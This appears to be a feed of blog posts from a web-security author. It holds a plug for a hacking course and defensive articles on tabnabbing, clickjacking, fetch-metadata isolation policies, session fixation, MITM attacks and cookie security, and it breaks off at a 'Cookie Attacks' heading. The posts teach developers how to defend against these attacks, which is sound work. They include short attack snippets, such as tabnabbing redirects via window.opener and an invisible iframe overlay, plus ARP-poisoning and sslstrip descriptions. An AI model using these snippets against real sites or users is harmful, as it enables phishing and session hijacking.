Forem: Teo Selenius

Hacking Academy - Help me out!

Teo Selenius — Tue, 25 May 2021 11:07:58 +0000

Hey guys,

I'm building an online e-learning platform for hackers (you can see some screenshots/videos here), and two of the demographics I'm trying to reach are:

Experienced developers who already know how to create backend or full-stack applications but don't necessarily know about all of the security hazards or how to exploit them as an attacker.
Beginner developers who know what a variable or a function is but don't yet understand how the HTTP protocol or browsers or web applications in general really work.

Because it's difficult to really put oneself in someone else's shoes, I humbly ask for your help. If you belong to either of the two demographics, and are interested in the topic, what would be most important to you in an e-learning platform that aims to teach about hacking and defending against the attacks?

Feel free to suggest specific content, features, or anything at all. The page I linked above should give a pretty good overview of the current idea that I have about what it could look like.

Thanks in advance! And sorry I know this is a bit of a plug but there is no better place to ask (:

Tabnabbing Attacks and Prevention

Teo Selenius — Tue, 06 Apr 2021 17:00:43 +0000

What are tabnabbing attacks?

Tabnabbing attacks enable a malicious website to suddenly redirect a legitimate page to the attacker's page.

They can be an effective tool in phishing attacks, so let's see how you as a developer can safeguard your users against the attack.

Let's first look at the different forms of tabnabbing and then we'll discuss the defenses. You will get to play with interactive demos throughout this article, or just watch them in animated GIFs if that's your preference.

The original article can be found here.

A hole in the Same Origin Policy

Before we proceed, I should say two words about the same-origin policy.

For the sake of this article, it is enough for you to know that the same-origin policy is the browser security mechanism that isolates different websites from each other.

It ensures that, e.g., google.com cannot read your Facebook feed, even though you have Google and Facebook open in the same browser.

And while the same-origin policy restricts many things, it has many "holes" because websites do need to interact with each other to some extent.

And the hole that we are most interested in right now is the following:

If websites A and B are from different origins
And website A manages to get a window handle to website B
Then website A is allowed to redirect website B's window to any URL address at any given time

This hole is the reason tabnabbing attacks exist, as you'll soon see.

If you want to learn more about the same-origin policy, we have an in-depth article right here.

How do tabnabbing attacks work?

There are a couple of ways in which a malicious website could get the window handle to your website. These are the most common.

1. Tabnabbing by the malicious page opening a window

Perhaps the easiest and most reliable way for another website to get a window handle to your website's window is for the malicious website to open it via window.open like so.

var windowHandle = window.open('https://goodsite.example')
// sleep for some time, and suddenly...
windowHandle.location.replace('https://hacked.example')

2. Reverse tabnabbing by the good site opening a window

Another possibility is the other way around, that is, your website opens the malicious website via window.open like so:

window.open('https://evil.example')

The malicious website can then get a window handle to your website via the window.opener property like so:

window.opener.location.replace('https://hacked.example')

3. Reverse tabnabbing via links

The second reverse tabnabbing variant is if you link to a malicious/compromised website with a target="_blank" so that the website will open in a new tab/window. In this case, the linked website can refer to the previous window via window.opener.

window.opener.location.replace('https://hacked.example')

4. Reverse tabnabbing via frames

The third reverse tabnabbing method is if your website loads another website in an IFRAME. For example, advertisements can work this way. In this case, the malicious website in the frame can get a window handle to the parent window using the window.parent property like so:

window.parent.location.replace('https://hacked.example')

Try it!

Play around with the attacker's page here and the "good page" here.

I should mention that depending on your browser and configuration, the attacks might not work. We'll get to why at the end of this article. Just don't be surprised if that happens to you now.

It's also worth noting that if the CodeSandbox instances were hibernated, you might want to refresh the pages after waking up the applications to ensure that everything works as expected.

How to prevent tabnabbing attacks?

Preventing tabnabbing attacks is relatively straightforward.

Implement a cross-origin opener policy
Set the rel="noopener" attribute to your links
Sandbox your frames
Implement an isolation policy

Implement a cross-origin opener policy

There is a relatively new browser security feature called Cross-Origin Opener Policy. You can use COOP to prevent the attack where a malicious website calls window.open on your website and then sneakily redirects the user into the attacker's page.

Just return the following HTTP response header from your webserver. The browsers that support COOP will process-isolate your document, and potential attackers can't access your window anymore.

Cross-Origin-Opener-Policy: same-origin

Additionally, windows that your website opens via window.open() will not be able to attack you anymore.

The cross-origin opener policy feature is (at the time of this writing) already supported by Firefox, Chrome, and Edge, but not by Safari or IE. You can check the up-to-date status here.

Set the rel="noopener" attribute to your links

You can link to other websites in new windows as long as you include the rel="noopener" attribute in the a-tag. Like so.

<a href="https://www.example.com" rel="noopener noreferrer"></a>

I added the noreferrer as a bonus because it's a good practice to add even though it's not related to tabnabbing attacks. The noreferrer will prevent information from the browser user's URL from leaking to the other website in the Referrer-header. You can read more about that here.

The noopener attribute is the crucial part here. It tells browsers not to give the link target a handle to your website's window by setting the window.opener to null.

You can read more about the noopener attribute here.

Sandbox your frames

To prevent tabnabbing attacks from websites that you load in an iframe, all you need to do is sandbox the frame. Sandboxing is facilitated with the sandbox attribute like so:

<iframe sandbox="allow-scripts allow-same-origin" src="https://www.example.com"></iframe>

By default, the sandbox attribute limits many things. Most importantly, it prevents the content from navigating its top-level browsing context, that is, it stops the framed website from redirecting its parent.

However, it also blocks things like having an origin at all or executing scripts. In the example above, we granted those two so that the frame can operate as expected.

Implement an isolation policy with fetch metadata

Another relatively recent browser security feature is fetch metadata. It allows you to block HTTP requests on the server-side if they originate from unwanted websites or happen in suspicious contexts.

Isolation policies are an insanely effective security control against a multitude of cross-site/cross-window attacks. While it's not yet supported by Firefox or Safari, you can implement such a policy in a fully backward compatible manner and reap the benefits on the browsers that do support it.

I won't go into too much detail about isolation policies in this article. You can read a thorough treatment about them in this article which also features a complete example that you can run on CodeSandbox.

Try it!

Play around with the attacker's page here and the COOP-protected test page here.

Browsers try to fight tabnabbing

Modern browsers try to implement heuristics and better defaults to combat tabnabbing attacks.

For example, most browsers these days treat links that have target="_blank" as rel="noopener" by default unless you explicitly specify something else.

On Firefox the feature is enabled as long as you have dom.targetBlankNoOpener.enabled enabled in about:config. Read about it here.

Chrome also has the same feature which you can read about here.

Ditto for Safari.

Also, browsers might prevent redirections or popups that appear suspicious or ask the user if they want to allow them.

However, you can't rely on the browser to keep your web application safe. Most of the attacks are not prevented out-of-the-box.

Conclusion

Tabnabbing attacks can be a severe threat, especially when used as part of a targeted phishing attack. Luckily there are simple steps that you can take to protect your web application from them:

Implement a cross-origin opener policy
Add the rel="noopener" attribute to the links on your website.
Add the sandbox attribute to iframes on your website.
Implement an isolation policy with fetch metadata.

Additionally, browsers are getting smarter in preventing tabnabbing attacks. Still, they're not quite there yet, so you as the developer will have to take care of implementing these security controls to protect your users.

Get the web security checklist spreadsheet!

☝️ Subscribe to AppSec Monkey's email list, get our best content delivered straight to your inbox, and get our 2021 Web Application Security Checklist Spreadsheet for FREE as a welcome gift!

Don't stop here

If you like this article, check out the other application security guides we have on AppSec Monkey as well.

Thanks for reading.

Clickjacking Attacks and Prevention

Teo Selenius — Thu, 01 Apr 2021 09:16:56 +0000

In this article, you will learn about clickjacking attacks, how they work, how they can put your website users at risk, and how you can prevent it. You can read the original article here

What is Clickjacking?

Clickjacking attacks trick a website user to perform unwanted actions on a website unwittingly. It works by layering the target website in an invisible frame on a malicious website. When the user thinks they are clicking a button on the attacker's page, in reality, they click something on a completely different website.

An example

Let's say we have a firewall administrator who is logged in at https://firewall.example.

What an attacker could do, is create a page like this. It tricks the user into clicking a button. In reality, the user would be disabling the firewall because the firewall management page is layered on top of the button in an iframe.

Of course, in a real attack, we wouldn't have any opacity so that the page would look like this:

The code of https://evil.example could look (in a very simplified form) like this:

<div class="underlay">
  <h1>WANT A MILLION DOLLARS?</h1>
  <button>CLICK ME</button>
</div>
<iframe class="invisible-overlay" src="https://firewall.example"></iframe>

A live demo

Here is a little web application. You can try it out right now. Click the button to enable and disable the firewall, but leave it turned on so that we can turn it back off with a clickjacking attack in a minute.

The attacker will create a page that shows a button "CLICK ME" and then overlays the target application on top of the button. Instead of clicking the "CLICK ME" button, the user will unwittingly click the "DISABLE" button on the firewall management page.

Here is the attacker page with a little bit of opacity to show how it works.

Here is the final attack, where the frame is entirely invisible. Try to click the button and then scroll back up to the firewall page. Observe how the firewall has been disabled.

You can fork and play around with the demo here and the attack here.

Preventing clickjacking attacks

The only way to prevent clickjacking attacks is to block other websites from framing your website. There are a couple of ways to do this.

X-Frame-Options header

You can use the X-Frame-Options HTTP response header to tell browsers not to frame your website at all.

X-Frame-Options: DENY

Alternatively, you could only allow framing but only from your website.

X-Frame-Options: SAMEORIGIN

However, X-Frame-Options cannot be used to allow specific websites to frame your website and is being obsoleted by Content-Security-Policy. Read more here.

For details on X-Frame-Options browser support see this page

Content-Security-Policy

The Content-Security-Policy HTTP response header has a directive called frame-ancestors which you can use to prevent the framing of your website.

Content-Security-Policy: ...other options... frame-ancestors 'none'

Or, just like with X-Frame-Options you could allow your website to frame itself like so:

Content-Security-Policy: ...other options... frame-ancestors 'self'

The main benefit of using CSP instead of X-Frame-Options is that you can also allow specific external websites to frame your website.

Content-Security-Policy: ...other options... frame-ancestors https://foo.example

Read more about CSP and frame-ancestors here.

For up-to-date status of the browser support for frame-ancestors, check this page.

Isolation Policy

The third way to prevent framing is to implement an isolation policy with fetch metadata headers. However, fetch metadata is not yet supported by all browsers. As such, you must also implement either X-Frame-Options or Content-Security-Policy with frame-ancestors.

To implement an isolation policy that prevents framing:

Create a middleware class that filters HTTP requests based on their headers.
Based on the fetch metadata request headers, block requests that come from other websites.
If you also want to block your website from framing itself, also block all navigation requests that are not destined to a document.

I understand this sounds a little bit abstract if you aren't familiar with fetch metadata headers. Here is an entire article about the topic with a complete example that you can run on CodeSandbox.

For up-to-date status of the browser support for fetch metadata headers, check this page.

Summary

Clickjacking attacks are a real threat to web applications. The only way to prevent them is not to allow other websites to frame your web application.

Luckily browsers enable us to do this. The most important defense is to deploy an X-Frame-Options or a Content-Security-Policy header that blocks framing.

You can achieve a nice additional defense layer by blocking requests to frames on the server-side by implementing an isolation policy with fetch metadata headers.

Get the web security checklist spreadsheet!

☝️ Subscribe to AppSec Monkey's email list, get our best content delivered straight to your inbox, and get our 2021 Web Application Security Checklist Spreadsheet for FREE as a welcome gift!

Don't stop here

If you like this article, check out the other application security guides we have on AppSec Monkey as well.

Thanks for reading.

Fetch Metadata and Isolation Policies

Teo Selenius — Tue, 30 Mar 2021 19:47:03 +0000

Learn everything about the fetch metadata headers and how you can implement isolation policies to defend against various client-side attacks. You can read the original article here.

What are fetch metadata headers?

Fetch metadata headers are a relatively new browser security feature that you can use in your web application to protect against client-side attacks like never before.

The purpose of the headers is simple. They tell the web server about the context in which an HTTP request happened.

An example

Here's Jim. He is logged in at b.example with the cookie SessionId=123.

Say that there's a website a.example that loads an image from b.example.

Without fetch metadata headers

Before the fetch metadata headers existed, all the webserver saw when Jim opened a.example was that someone with Jim's cookie loaded the image.

On HTTP level it might look like this:

GET /cat.jpg HTTP/1.1
Host: b.example
Cookie: SessionId=123

Note that the server has no way to know whether it's a.example or b.example loading the image with Jim's session ID.

With fetch metadata headers

With fetch metadata headers supported, the browser will send more information in the request to the webserver.

On HTTP level, it might look like this:

GET /cat.jpg HTTP/1.1
Host: b.example
Cookie: SessionId=123
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

Notice how the browser told the webserver three new things this time:

The request originated from an image element.
The request's mode (that this was a resource load as opposed to, e.g., navigation).
The request originated from another website.

Actually there is a fourth thing implied in the request as well. The lack of Sec-Fetch-User header implies that the request didn't originate as a result of user interaction.

What attacks fetch metadata headers prevent?

Fetch metadata headers can help prevent pretty much any cross-site attack. These include:

Fetch metadata headers

The system consists of four HTTP request headers.

Sec-Fetch-Site

The Sec-Fetch-Site header tells the webserver if the request originated from the same origin, the same site, or a different website entirely. It can have one of the following values:

same-origin: The request came from the same origin, that is, the host, port, and scheme were identical. You can read more about what origin means here.
same-site: The request came from a different origin but from the same site, which is browser lingo for subdomain of the same registrable domain. For example: https://a.example.com and https://b.example.com are considered same-site (but different origin).
cross-site: The request came from a different website completely. For example, www.google.com and www.facebook.com are considered cross-site.
none: The request didn't originate from any website. This happens when the user opens a bookmark, types manually in the URL bar, opens a link from another program, etc.

Sec-Fetch-Mode

The Sec-Fetch-Mode tells the webserver the request's mode. It can have one of the following values:

same-origin: The browser is making a request to the same origin. Requests using this mode will fail if the target is of a different origin.
no-cors: The browser is making a request to another origin but doesn't expect to read the response or use any non-safelisted HTTP verbs or headers.
cors: The browser attempts to make a CORS (Cross-Origin Resource Sharing) request. You can read more about CORS here.
navigate: The browser is navigating from one page to another, such as when clicking a link, receiving a redirect, or opening a bookmark.

Sec-Fetch-Dest

The Sec-Fetch-Dest tells the webserver the request's destination, that is, what kind of place is waiting for the resource. In the example above, it was an <img> element loading the resource, so the destination was image.

Some of the possible values are:

empty: When the resource is loaded via fetch() or XHR.
document: When the resource is loaded in top-level navigation.
image: When the resource is loaded in an <img> tag.
worker: When the resource is loaded via new Worker(...).
iframe: When the resource is loaded into an <iframe>.

The value can be any element capable of loading an external resource, so also audio, audioworklet, embed, font, frame, manifest, object, paintworklet, report, script, serviceworker, sharedworker, style, track, video, xslt, etc. are possible.

Sec-Fetch-User

The Sec-Fetch-User header tells the webserver a navigation request originated (in theory) due to user interaction, such as by clicking a link. The value is always ?1. When navigation occurs as a result of something that browsers don't consider "user activation", this header is not sent at all.

Browser support

At the time of this writing, fetch metadata headers are supported on Chrome, Edge, and Opera. But don't worry, you can implement a policy in a fully backward-compatible way. You can check the up-to-date status here.

Implementing an isolation policy

The reason fetch metadata headers are so fantastic is that they allow us to do this.

Blocking a request on the server-side based on the client-side context is a power that we've never had before. But now we do, so let's use it and implement an isolation policy.

To create an isolation policy, you need a filter, middleware, etc., that enables you to block requests based on the HTTP request headers.

I will use NodeJS as an example, but such middleware is usually trivial to implement in any development framework.

We'll start with this skeleton:

app.use(function (req, res, next) {})

1. Backward compatibility

Begin your policy by allowing requests that don't have the fetch metadata headers at all. Otherwise, people using browsers that don't yet support fetch metadata wouldn't be able to access your website.

if (!req.headers['sec-fetch-site']) {
  return next()
}
if (!req.headers['sec-fetch-mode']) {
  return next()
}
if (!req.headers['sec-fetch-dest']) {
  return next()
}

2. Allow all requests from the same origin

To make your application work properly, allow all interactions from the same origin.

if (req.headers['sec-fetch-site'] === 'same-origin') {
  return next()
}

3. Allow requests that don't originate from another website

Sometimes requests originate from the user opening a bookmark or typing in the URL bar. In these cases, the value of Sec-Fetch-Site is none, so let's allow that.

if (req.headers['sec-fetch-site'] === 'none') {
  return next()
}

4. Allow navigation

To enable other websites to link to your page, navigation has to be allowed. However, just allowing navigation would also allow cross-site POST requests, framing, and other things we don't necessarily want.

To be safe, verify that the HTTP method is GET and that the resource destination is document.

if (
  req.method === 'GET' &&
  req.headers['sec-fetch-mode'] === 'navigate' &&
  req.headers['sec-fetch-dest'] === 'document'
) {
  return next()
}

5. Block any other requests

If a request didn't match any rules so far, reject it.

return res.status(403).json({
  error: 'Request blocked by the isolation policy.',
})

6. Relax the policy if required

You may want to allow some cross-origin or cross-site interactions.

Allow subdomains

To allow requests from your own subdomains, let requests through that have the Sec-Fetch-Site value of same-site.

if (req.headers['sec-fetch-site'] === 'same-site') {
  return next()
}

Allow framing

To enable other websites to load your page in an iframe, allow navigating GET requests when the destination is iframe.

if (
  req.method === 'GET' &&
  req.headers['sec-fetch-mode'] === 'navigate' &&
  req.headers['sec-fetch-dest'] === 'iframe'
) {
  return next()
}

7. Test the policy

We have now implemented a rather strict isolation policy. Here is the entire thing (I didn't allow iframes or subdomains in my example). You can fork and play with the code here.

app.use(function (req, res, next) {
  // If fetch metadata is not supported, allow the request.
  if (!req.headers['sec-fetch-site']) {
    return next()
  }
  if (!req.headers['sec-fetch-mode']) {
    return next()
  }
  if (!req.headers['sec-fetch-dest']) {
    return next()
  }

  // If the request originates from your own web application, allow it.
  if (req.headers['sec-fetch-site'] === 'same-origin') {
    return next()
  }

  // If the request doesn't originate from a website at all (bookmark, etc.) then allow it.
  if (req.headers['sec-fetch-site'] === 'none') {
    return next()
  }

  // If the request is a navigation GET request, allow it.
  if (
    req.method === 'GET' &&
    req.headers['sec-fetch-mode'] === 'navigate' &&
    req.headers['sec-fetch-dest'] === 'document'
  ) {
    return next()
  }

  // If no rules matched, block the request.
  return res.status(403).json({
    error: 'Request blocked by the isolation policy.',
  })
})

I've created a little test page here. It tries to load an image, POST an HTML form and frame the protected website. If you open the site, you will find that all of the three will fail.

There is also a link. Clicking through the link, the page loads correctly.

Also, loading the page in Firefox or Safari works fine, so our backward compatibility seems to be in check.

8. Deploy the policy

When deploying the policy to production for the first time, it is recommended to use a logging-only approach.

The policy would remain the same, but instead of blocking requests, you log that a request would have been blocked because of X, and then you let the request through.

This way, you will quickly know if the policy would break something and if there's something you have to add before finally deploying the enforcing policy.

Conclusion

Fetch metadata headers are a remarkable browser feature that enables developers to secure web applications in a way that hasn't previously been possible.

Implementing an effective policy is simple, and it can easily be relaxed to accommodate any special needs, such as allowing framing or interactions from subdomains.

When deploying the policy to production, it is recommended to start with a logging-only approach. Then later deploy the enforcing policy when you're satisfied that it won't break anything.

Browser support is still lacking or experimental depending on the browser, but the headers can already be used in a backward compatible way.

Get the web security checklist spreadsheet!

☝️ Subscribe to AppSec Monkey's email list, get our best content delivered straight to your inbox, and get our 2021 Web Application Security Checklist Spreadsheet for FREE as a welcome gift!

Don't stop here

If you like this article, check out the other application security guides we have on AppSec Monkey as well.

Thanks for reading.

Session Fixation Attacks and Prevention

Teo Selenius — Sat, 27 Mar 2021 06:15:34 +0000

Learn what session fixation attacks are and how to protect your web application from them. You can read the original article here.

What are sessions?

HTTP is a stateless protocol. As such, web applications must give users something that they can use to identify themselves with as they browse the website (and send more HTTP requests). This something is called a session identifier and usually is stored in a cookie.

On the HTTP level, it could look like this.

1. User browses to a website

User types "www.example.com" in the URL bar and hits enter. The browser sends an HTTP GET request to the front page.

GET / HTTP/1.1
Host: www.example.com

2. Website returns a cookie to the user

To identify the user in subsequent requests, the website returns a session cookie to the user in the first HTTP response.

HTTP/1.1 200 OK
Set-Cookie: SessionId=123

3. The user continues browsing the website

The browser will include the cookie in subsequent requests to the site, allowing the website to identify the user.

GET / HTTP/1.1
Host: www.example.com
Cookie: SessionId=123

What is session fixation?

Session fixation happens when an attacker manages to set the target user's session identifier into a value that is known to the attacker. For example, the attacker might first get a legitimate session identifier from the webserver like so:

GET / HTTP/1.1
Host: www.example.com

HTTP/1.1 200 OK
Set-Cookie: SessionId=ABC123

Then the attacker forces this cookie into the target user's browser, causing a situation where both the attacker and the target have the same session cookie in their browsers.

At this point, the cookie is harmless because no-one has yet logged in with it. But what if the user logs in, and the web application authenticates the user's session cookie, elevating it into an authenticated state?

The user is now logged in, but so is the attacker, who is also in possession of the session identifier.

How does the attacker fixate the user's session identifier?

It depends on the application, but here are the usual ways to force a session identifier into someone's browser.

MITM attacks

In a man-in-the-middle attack the attacker has control over the target user's network traffic and can forge a Set-Cookie reply or a document.cookie JavaScript call "from the server" to set the session id.

XSS attacks

In a cross-site scripting attack, the attacker runs malicious JavaScript on the website and injects a document.cookie call on the page which sets the user's session id.

Compromised subdomains

All subdomains can overwrite an application's cookies by default, so if there is, e.g., an XSS vulnerability on foo.example.com, an attacker can use it to change the user's cookie on www.example.com.

Physical attacks

Someone with physical access to the web-browser can easily set cookies for a website before the next computer user logs in.

Application vulnerabilities

Some older application frameworks do silly things like taking session identifiers directly from URL parameters, making the application vulnerable to session fixation attacks.

In such scenarios, the attacker can create a link with the attacker's session ID and get someone to open it.

If you see something like "?JSESSIONID=12345" in your URL, then you might want to do something about it.

How to prevent session fixation attacks?

As with all attacks, there are measures that developers can take to prevent session fixation.

Create a new session identifier upon login

Creating a new session identifier upon login is the most critical defense against session fixation attacks.

Instead of authenticating the user's existing (pre-authenticated) session identifier, the application should grant the user a new, authenticated session identifier.

Now the attacker cannot hijack Jim's session anymore.

Most modern application frameworks follow this behavior, but there are exceptions. Make sure your application returns an entirely new session identifier on login.

POST /auth/login HTTP/1.1
Cookie: SessionId=ABC123
...
user=Jim&password=Cat

HTTP/1.1 301 Moved
Location: /profile
Set-Cookie: 'SessionId=xY729x...'

Prevent MITM attacks

One of the threats is a man-in-the-middle (MITM) attack. An attacker intercepts the connections between the user and your web server and injects a Set-Cookie header with the attacker's cookie.

Even if we do create a new session ID upon authentication, there are other session fixation attacks that we still want to prevent, such as the attacker logging in the target user with the attacker's user account.

To prevent MITM attacks against your web application, use HTTPS, preloaded HSTS, and configure your TLS settings properly.

MITM (Man-In-The-Middle) Attacks and Prevention

Prevent cookie overwriting

The application should protect its cookies with the __Host prefix and the Secure attribute to prevent a compromised subdomain or a network attacker from overwriting the user's cookies.

Cookie Security

Prevent XSS attacks

The application can do nothing to prevent the cookie from being overwritten in the event of a successful XSS (Cross-Site Scripting) attack.

As such (and for many other reasons), we have to carefully avoid XSS vulnerabilities and use a strict CSP (Content Security Policy) to further harden our application against them.

Be careful with legacy application frameworks

As mentioned above, legacy application frameworks can have features that make them vulnerable to session fixation attacks by design. For example, J2EE applications support session management through URL rewriting.

The best defense is to stay away from legacy frameworks and develop with modern tools. However, if you're stuck with old technology, then at least find the configuration setting or create a filter to disable the dangerous functionality.

Conclusion

Session fixation attacks happen when an attacker forces, or "fixates", a session identifier, a value known to the attacker, to a user's browser.

The primary threat is that the user logs in with the attacker's known session identifier, but there are other attacks such as the attacker logging in the user with the attacker's user account.

To protect your web application from session fixation attacks, we came up with the following defenses:

Always create a new session ID upon authentication.
Prevent MITM attacks with HTTPS, HSTS, and proper TLS security settings.
Prevent cookie overwrites by protecting the cookie with __Host-prefix and Secure attribute.
Avoid XSS vulnerabilities and prevent exploitation by using a strict CSP (Content Security Policy).
Use modern application frameworks, or configure legacy frameworks carefully.

Get the web security checklist spreadsheet!

☝️ Subscribe to AppSec Monkey's email list, get our best content delivered straight to your inbox, and get our 2021 Web Application Security Checklist Spreadsheet for FREE as a welcome gift!

Don't stop here

If you like this article, check out the other application security guides we have on AppSec Monkey as well.

Thanks for reading.

MITM (Man-In-The-Middle) Attacks and Prevention

Teo Selenius — Tue, 23 Mar 2021 19:01:35 +0000

Learn how man-in-the-middle (MITM) attacks can put your website users in danger and how to prevent it. The original post can be read here

What are MITM attacks?

In a MITM attack, someone on the network intercepts the network communications between a user and your website.

How are MITM attacks made?

There are multiple ways to hijack someone's network connection, but two standard methods are ARP poisoning and evil access points.

ARP poisoning

Hosts on a network talk to the world outside of the local area network (LAN) through a gateway. The gateway is configured on the client, either manually or through the DHCP protocol.

Communication within a LAN, however, is facilitated through MAC addresses, not IP addresses. For this reason, we need a protocol to map IP addresses to MAC addresses to communicate with hosts on the network by their IP address. And this protocol is aptly named address resolution protocol or ARP for short.

Here is how the ARP poisoning attack works.

The attacker sends an unsolicited ARP reply to the target network device (e.g., the website user's phone), claiming that the attacker's device is the gateway. And the way network protocols are implemented, the phone will believe the attacker and start sending its traffic through the attacker's device.

Evil access points

The second typical attack works by the attacker setting up a WiFi access point that mimics a real access point nearby.

When users unwittingly connect to the malicious access point, their network traffic is sent to the attacker, who then forwards it to the Internet.

sslstrip

Once the connection has been intercepted, the attacker can use a tool such as sslstrip to disable all HTTPS redirects and change https:// links to unencrypted http://.

It shouldn't matter

The key takeaway here is that developers cannot base an application's security on the assumption that no-one can intercept the connection between the user and the webserver.

Instead, we have to use encryption to make sure it doesn't matter whether the connection is hijacked or not.

Does HTTPS prevent MITM attacks?

Unfortunately, HTTPS alone is not enough to prevent MITM attacks against your users. Let me show you what I mean. The following is generally what happens when a browser connects to a website:

The user types in www.example.com

The user's browser sends an unencrypted HTTP request to http://www.example.com/

The webserver returns a redirect to https://www.example.com

The user's browser sends an encrypted HTTPS request to https://www.example.com/.

The webserver returns with the login page.

The user enters their username and password, which the browser safely sends to the webserver across a secure TLS connection.

But what if there is an attacker on the network?

The user types in www.example.com

The user's browser sends an unencrypted HTTP request to http://www.example.com/

The attacker intercepts this unencrypted request and returns the login page from the real server. Crucially, the connection is still unencrypted.

The user gives their username and password straight to the attacker over the unencrypted connection.

See the problem? The web server never got a chance to redirect the user to HTTPS because the attacker had already taken over the connection.

How to prevent MITM attacks?

There are three key requirements for protecting your web application from MITM attacks:

Use HTTPS.
Use preloaded HSTS.
Harden your SSL/TLS ciphers.

Use HTTPS

The first defence is simple, and hopefully you are already doing this. Get a free certificate from Let's Encrypt and use HTTPS for all your content.

Use preloaded HSTS

HSTS (HTTP Strict Transport Security) is an opt-in browser security feature that prevents browsers from making any unencrypted connections to a domain.

The following is how the network flow might work with HSTS enabled:

The user types in www.example.com

The website uses HSTS, so the user's browser right away sends an encrypted HTTPS request to https://www.example.com/. The attacker doesn't get a chance.

The webserver returns with the login page.

The user enters their username and password, which the browser safely sends across a secure TLS connection.

See how HSTS prevented the attack? The browser never sent the first unencrypted HTTP request, and the attacker had nothing meaningful to intercept.

You can enable the protection for your website with the Strict-Transport-Security header. Make sure to include subdomains and enable HSTS preloading. You can read more about the options and what preloading means here: HTTP Strict Transport Security (HSTS).

Harden your TLS ciphers

You can use preloaded HSTS to force connections to your website to be encrypted. But what if someone breaks that encryption? You have to be careful when configuring the TLS settings on your server.

Implement forward secrecy

One of the most important things is to use a key exchange algorithm like Diffie-Hellman that doesn't involve transmitting the symmetric key over the network. Otherwise, such as when using RSA for key exchange, if someone in the future gets access to the private key (remember heartbleed?), the attacker can decrypt all of the past encrypted connections.

This property is called forward secrecy or perfect forward secrecy. Make sure you have it enabled.

Use authenticated encryption

Use cipher suites that verify the authenticity of a message before trying to decrypt it. This way is much less prone to all sorts of attacks like padding oracles. AES-GCM and ChaCha20-Poly1305 are such good ciphers.

Disable legacy protocols

It's important not to support legacy protocols because an attacker on the network can downgrade the connection to the worst settings supported by both the client and the server.

Only support TLS 1.2 and up.
Only support SHA and SHA2 (SHA256, SHA384, etc.) for the MAC (Message Authentication Code).
Only support AES-GCM from block ciphers and ChaCha20-Poly1305 from stream ciphers.

You can check the browser support for TLS 1.2 here.

Generating a secure configuration

Visit Mozilla's SSL Config to generate a secure configuration for your webserver.

Conclusion

The users of any web application can be targeted with MITM attacks even if the website uses HTTPS. Luckily developers can take some measures to protect an application from these attacks. These are:

Use HTTPS.
Use HSTS and preload it.
Configure your server's TLS settings appropriately.

Get the web security checklist spreadsheet!

☝️ Subscribe to AppSec Monkey's email list, get our best content delivered straight to your inbox, and get our 2021 Web Application Security Checklist Spreadsheet for FREE as a welcome gift!

Don't stop here

If you like this article, check out the other application security guides we have on AppSec Monkey as well.

Thanks for reading.

Cookie Security: 10 Tips To Protect Your Web Application

Teo Selenius — Fri, 12 Mar 2021 09:06:59 +0000

Learn everything about HTTP cookie security, what are cookie-related attacks and how to defend against them.

I will assume that the reader is a developer, and use terms like "variable" and "property" to make things easier to understand. If the reader happens not to be a developer, I apologize.

You can read the original article here

Let's begin!

What Are Cookies?

An HTTP cookie is a variable that a website can set in a browser. Cookies are practically a key-value storage, but there are some additional properties in the Cookie class that you will learn about soon.

Usually, web servers set cookies via the Set-Cookie HTTP response header, like so.

Set-Cookie: SessionId=s3cr3t;

However it is also possible for a website to set cookies via JavaScript:

document.cookie = "SessionId=s3cr3t";

This is what a cookie looks like in the browser's cookie jar:

Name: "SessionId"
Value: s3cr3t"
Domain: "www.example.com"
ExpiresOrMaxAge: "Session"
HostOnly: true
HttpOnly: false
Path: "/"
SameSite: "None"
Secure: false

Browsers then send these cookies back to the webserver in the Cookie request header, like so:

Cookie: Foo=Bar; SessionId=s3cret;

Note that browsers only send the name and value of the cookies back to the webserver.

What Are Cookies Used For?

Cookies are used for many purposes, mostly tracking, personalization, and session management. In this article, we are mainly concerned with session management.

For instance, it's common for a web application to issue a session identifier cookie to users upon authentication.

Set-Cookie: SessionId=s3cr3t

Where Are Cookies Sent?

Cookies have four properties that affect their scope, that is, to which URL addresses the cookie gets sent. These are:

domain: To which domain, possibly including subdomains, should browsers send the cookie?
hostOnly: Should browsers only send the cookie to the exact domain that sets it, excluding subdomains?
path: To which URL paths (i.e., /foo/bar) should browsers send the cookie?
secure: Should browsers only send the cookie over encrypted channels (HTTPS, WSS) or also unencrypted (HTTP, WS)?

Who Can Set Cookies For A Website?

Any website can set cookies for:

Its domain.
Its parent domain (any of them except for TLD or public suffix).
By extension, but not directly, all subdomains of the parent domain.

For example, foo.example.com can set a cookie for .example.com, in which case browsers will also send the cookie to example.com and bar.example.com.

Specifying the domain is facilitated via the Domain property.

Can HTTP Websites Set Cookies on HTTPS Websites?

Yes. The scheme (e.g. http:// or https://) doesn't matter. Also, the port doesn't matter. For example, websites https://www.example.com:12345 and http://www.example.com share cookies.

Domain Property

This property determines which websites the cookie should be sent to, and defaults to the hostname of the website that sets the cookie.

If www.example.com is the one setting the cookie, then the domain will be www.example.com.

It is possible to change this value into, e.g. .www.example.com, after which browsers will send the cookie to www.example.com and all of its subdomains (foo.www.example.com, bar.www.example.com, etc.).

# Send the cookie to www.example.com and all subdomains of www.example.com
Set-Cookie: SessionId=s3cret; domain=.www.example.com

☝ Note

Even if you specify domain=www.example.com, the browser will silently change it to domain=.www.example.com.

A website can also scope a cookie to its parent domain, with the following limitations:

Scoping a cookie for a TLD (Top Level Domain) is not allowed.
Scoping a cookie for a public suffix is not allowed. Read more about the list here: public suffix list

If www.example.com scopes a cookie to .example.com, browsers will send the cookie to example.com and all its subdomains.

# Send the cookie to example.com and all subdomains of example.com
Set-Cookie: SessionId=s3cret; domain=.example.com

Setting the domain property will automatically flip the hostOnly boolean to false. Let's look at this property next.

HostOnly Property

The HostOnly property determines whether browsers should only send the cookie to the exact domain that created it. If it's false, browsers will also send the cookie to subdomains.

There is no manual configuration for HostOnly in the Set-Cookie header. It is always true unless you set the domain property, in which case it is always false.

# Here HostOnly is true
Set-Cookie: SessionId=s3cret;

# Here HostOnly is false
Set-Cookie: SessionId=s3cret; domain=www.example.com

Path Property

Developers can use the path property to limit the paths to which the cookie gets sent.

By setting the path to /foo/bar, browsers will only include the cookie in requests such as https://www.example.com/foo/bar or https://www.example.com/foo/bar/hello.

Browsers will not send it to https://www.eample.com/foo/barbars.

# Here, the cookie only gets sent to www.example.com/foo/bar and its subdirectories.
Set-Cookie: SessionId=s3cr3t; path=/foo/bar

Cookie Attacks

